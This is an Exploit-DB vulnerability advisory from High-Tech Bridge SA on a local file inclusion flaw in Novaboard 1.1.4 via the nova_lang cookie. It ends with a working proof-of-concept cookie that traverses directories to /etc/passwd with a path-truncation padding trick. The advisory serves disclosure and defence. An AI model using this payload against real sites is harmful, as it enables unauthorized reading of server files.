Novaboard 1.1.4 - Local File Inclusion Vulnerability

ID EDB-ID:15324
Type exploitdb
Reporter High-Tech Bridge SA
Modified 2010-10-27T00:00:00


Novaboard v1.1.4 Local File Inclusion Vulnerability. Webapps exploit for php platform

                                            Vulnerability ID: HTB22657
Product: Novaboard 
Vendor: Novaboard  ( ) 
Vulnerable Version: 1.1.4 and probably prior versions 
Vendor Notification: 13 October 2010 
Vulnerability Type: Local File Inclusion
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing ( 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in nova_lang variable from cookie.

The following PoC is available:

Cookie: nova_lang=../../../../../../../../../../../../../../etc/passwd/././././.[>4095 * "/."]/././././.